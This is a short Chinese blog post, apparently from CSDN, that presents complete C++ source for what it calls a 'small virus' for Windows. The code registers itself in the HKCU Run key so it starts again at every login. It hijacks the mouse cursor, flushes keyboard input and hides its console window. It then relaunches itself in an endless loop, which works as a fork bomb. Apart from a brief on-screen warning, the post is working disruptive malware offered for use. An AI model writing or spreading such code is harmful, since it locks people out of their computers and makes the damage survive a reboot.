我们就先不扯了,这威力之大,让我们直接上代码!(有点长)
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:C++小病毒(通用加强版)_H.Y_C的博客-CSDN博客
揭晓答案:
#define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include<string>
#include<Windows.h>
#include<conio.h>
#include<thread>
#include<tchar.h>
#include<fstream>
using namespace std;
int check = 0;
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
srand(time(0));
while (1)
{
SetCursorPos(rand() % x, rand() % y);
}
return 0L;
}
DWORD WINAPI key(LPVOID lpParameter)
{
while (1)
{
FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
}
return 0L;
}
int main(int argc, char** argv)
{
fstream in("save.txt");
in >> check;
in.close();
if (check != 1)
{
cout << "该程序是病毒!后果自负!" << endl;
cout << "按任意键以代表您已知晓并启动病毒……" << endl;
_getch();
HKEY hKey;
if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
TCHAR strExeFullDir[MAX_PATH];
GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
{
RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));
RegCloseKey(hKey);
}
}
ofstream out("save.txt");
out << 1;
out.close();
}
HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
CloseHandle(hThread);
hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);
CloseHandle(hThread);
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
HMENU hmenu = GetSystemMenu(hWnd, false);
RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
LONG style = GetWindowLong(hWnd, GWL_STYLE);
style &= ~(WS_MINIMIZEBOX);
SetWindowLong(hWnd, GWL_STYLE, style);
SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
ShowWindow(hWnd, SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hWnd, NULL);
hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
if (hWnd)
{
ShowWindow(hWnd, SW_HIDE);
}
while (1)
{
char s[100] = "start ";
system(strcat(s, argv[0]));
}
return 0;
}